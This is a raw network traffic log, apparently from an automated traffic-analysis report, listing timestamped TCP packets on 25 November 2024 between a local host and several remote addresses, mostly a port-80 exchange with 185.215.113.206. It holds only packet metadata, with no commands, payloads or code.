Nov 25, 2024 14:14:38.448472977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.448753119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.448805094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.449492931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.449556112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.449620962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.450423002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.450489044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.450529099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.450577974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.451250076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.451318026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.451328993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.451371908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.452403069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.452474117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.452825069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.453434944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.453449011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.453511953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.453564882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.454561949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.454921007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.454993010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.455590010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.455766916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.455835104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.456929922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.457094908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.457125902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.457144022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.458050013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.458509922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.458609104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.459245920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.459321976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.459331036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.459394932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.460242033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.460362911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.460365057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.460592031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.461801052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.461816072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.461879969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.462291956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.462342024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.462595940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.462861061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.463258028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.463315964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.463330030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.463582039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.464356899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.464416981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.464495897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.464556932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.465365887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.465432882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.465435028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.465513945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.466228962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.466289043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.466384888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.466542006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.470021963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.470186949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.470200062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.470201015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.470212936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.470244884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.470266104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.470696926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.470716000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.470762014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.489038944 CET	443	49809	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:38.489101887 CET	443	49809	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:38.489223957 CET	49809	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:38.489432096 CET	49809	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:38.489448071 CET	443	49809	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:38.547882080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.581109047 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.581178904 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.581280947 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.581521034 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.581521034 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.581535101 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.581545115 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.584630013 CET	49819	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.584666967 CET	443	49819	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.584779024 CET	49819	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.584939003 CET	49819	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.584953070 CET	443	49819	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.658549070 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:38.658588886 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:38.659130096 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:38.659373045 CET	49820	443	192.168.2.5	152.195.19.97
Nov 25, 2024 14:14:38.659387112 CET	443	49820	152.195.19.97	192.168.2.5
Nov 25, 2024 14:14:38.667728901 CET	443	49810	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:38.668031931 CET	49810	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:38.668040037 CET	443	49810	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:38.668440104 CET	443	49810	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:38.669145107 CET	49810	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:38.669210911 CET	443	49810	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:38.672316074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.717417002 CET	49810	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:38.998301983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.998318911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.998380899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.998616934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.998689890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.998711109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.998747110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.999767065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.999824047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.000402927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.000713110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.000777006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.000791073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.000818968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.000844955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.001821041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.001897097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.002144098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.002180099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.002887964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.002985001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.003022909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.003067970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.004055023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.004102945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.004170895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.004209995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.005058050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.005070925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.005101919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.005120993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.006119967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.006196022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.006264925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.006300926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.007178068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.007224083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.007472992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.007510900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.008321047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.008333921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.008373022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.009501934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.009541035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.009565115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.009598970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.010512114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.010565042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.010641098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.010674953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.011629105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.011676073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.011910915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.011986017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.012653112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.012665987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.012706995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.013766050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.013780117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.013917923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.014712095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.014724970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.014755964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.014766932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.015749931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.015855074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.015911102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.015950918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.016974926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.017038107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.017240047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.017304897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.018062115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.018074989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.018121958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.019375086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.019391060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.019473076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.019473076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.020005941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.020047903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.020248890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.020355940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.021106958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.021238089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.021316051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.021358967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.022346973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.022541046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.023401022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.023416042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.023437977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.023457050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.024849892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.024919033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.025127888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.025142908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.025167942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.025188923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.026541948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.026556015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.026587963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.026607037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.027354956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.027403116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.027462959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.027534008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.028346062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.028358936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.028398037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.029356003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.029391050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.029434919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.029454947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.029933929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.029988050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.029989958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.030026913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.030921936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.030975103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.031068087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.031109095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.124363899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.124463081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.124465942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.124520063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.124814987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.124906063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.125016928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.125062943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.125511885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.125619888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.125643969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.125663996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.126492977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.126507044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.126538992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.126554012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.127762079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.127775908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.127837896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.128608942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.128628969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.128688097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.128715038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.129662991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.129712105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.129733086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.129748106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.130861998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.130913019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.130930901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.130970955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.131787062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.131807089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.131872892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.131908894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.132858038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.132890940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.132942915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.133955002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.134105921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.134176016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.134222031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.134949923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.135003090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.135004997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.135041952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.136214018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.136255980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.136296034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.137168884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.137182951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.137242079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.137281895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.138171911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.138231993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.138328075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.138371944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.139200926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.139235973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.139276028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.139317036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.140584946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.140599966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.140644073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.140677929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.141361952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.141531944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.141571045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.141608000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.142493010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.142504930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.142543077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.142556906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.143584013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.143626928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.143703938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.143750906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.144542933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.144649029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.144807100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.144856930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.145771980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.145837069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.145934105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.146086931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.147206068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.147267103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.147269011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.147309065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.148072004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.148139954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.200165987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.200278044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.200407028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.200464964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.200570107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.200583935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.200619936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.200644970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.201508045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.201591015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.201827049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.201992989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.202425957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.202485085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.202979088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.203032970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.203572989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.203644991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.203948021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:39.203999996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:39.204638958 CET	80	49760	185.215.113.206	192.168.2.5
